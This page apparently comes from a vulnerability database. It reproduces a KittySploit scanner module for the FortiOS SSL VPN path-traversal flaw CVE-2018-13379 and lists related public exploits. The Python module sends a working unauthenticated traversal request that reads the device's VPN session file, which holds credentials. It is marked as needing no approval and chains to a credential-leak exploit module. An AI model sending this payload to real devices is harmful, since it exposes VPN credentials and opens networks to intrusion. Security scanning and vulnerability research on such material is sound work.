Fortinet FortiOS - Credentials Disclosure Detection
| Reporter | Title | Published | Views | Family All 137 |
|---|---|---|---|---|
| Exploit for Path Traversal in Fortinet Fortiproxy | 14 Dec 202012:17 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiproxy | 11 Aug 201909:44 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiproxy | 23 May 202613:25 | – | githubexploit | |
| Exploit for Server-Side Request Forgery in Microsoft | 27 Jan 202611:39 | – | githubexploit | |
| MCATester | 24 Jun 202605:32 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiproxy | 5 Feb 202619:12 | – | githubexploit | |
| FortiGate-FortiWeb-Multi-Exploit-Extractor | 14 May 202614:07 | – | githubexploit | |
| Exploit for Path Traversal in Vmware Cloud_Foundation | 27 Jan 202612:00 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiproxy | 30 Nov 202008:39 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiproxy | 19 Nov 202021:22 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fortinet FortiOS 6."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Fortinet FortiOS - Credentials Disclosure Detection',
'description': 'Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'fortios', 'lfi', 'kev', 'fortinet', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/fortios_cve_2018_13379_credential_leak',
],
},
},
'references': [
'https://fortiguard.com/advisory/FG-IR-18-384',
'https://www.fortiguard.com/psirt/FG-IR-20-233',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379',
],
'cve': 'CVE-2018-13379',
}
def run(self):
r = self.http_request(method="GET", path='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('^var fgt_lang =',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="Fortinet FortiOS - Credentials Disclosure detected",
path='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 25
CVSS 3.19.1 - 9.8
EPSS0.99999
SSVC